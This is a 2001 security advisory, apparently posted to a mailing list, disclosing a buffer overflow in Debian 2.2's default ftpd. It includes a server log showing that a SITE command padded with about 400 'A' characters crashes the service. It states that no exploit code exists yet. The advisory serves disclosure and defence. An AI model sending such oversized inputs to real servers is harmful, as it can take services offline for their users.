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Tamersahin.net Security Announcement: Debian 2.2 is 2.2r3 Ftpd Daemon Buffer Owerflow Vulnerability

From: "Tamer Sahin" <feedback () tamersahin net>
Date: Fri, 18 May 2001 13:03:22 +0300

=========================================
Tamersahin.net Security Announcement
=========================================
DEBIAN 2.2 is 2.2r3 FTPD DAEMON BUFFER OWERFLOW
=========================================

Release Date:
==========
May 18, 2001

Severity:
=======
High.

Systems Affected:
==============
Debian 2.2 is 2.2r3 default ftpd daemon Version 6.2/OpenBSD/Linux-0.10.

Concept:
=======
The vulnerability arises when a buffer of aprox. 400 bytes and more is sent
within
the ftpd daemon running Debian host header for a SITE request.

Example:
=======
May 18 12:32:46 ts ftpd[677]: ts FTP server (Version 6.2/OpenBSD/Linux-0.10)
ready.
May 18 12:32:47 ts ftpd[677]: command: SITE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
May 18 12:32:47 ts ftpd[677]: <--- 500
May 18 12:32:47 ts ftpd[677]: 'SITE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA': command not understood.
May 18 12:32:47 ts ftpd[677]: <--- 221
May 18 12:32:47 ts ftpd[677]: You could at least say goodbye.
May 18 12:32:47 ts inetd[139]: ftp/tcp server failing (looping), service
terminated

Exploit Code:
==========
Not yet.

Author:
======
Tamer Sahin
http://www.tamersahin.net
feedback () tamersahin net

Copyright (c) 1995-2001 tamersahin.net

Current thread:

Tamersahin.net Security Announcement: Debian 2.2 is 2.2r3 Ftpd Daemon Buffer Owerflow Vulnerability Tamer Sahin (May 18)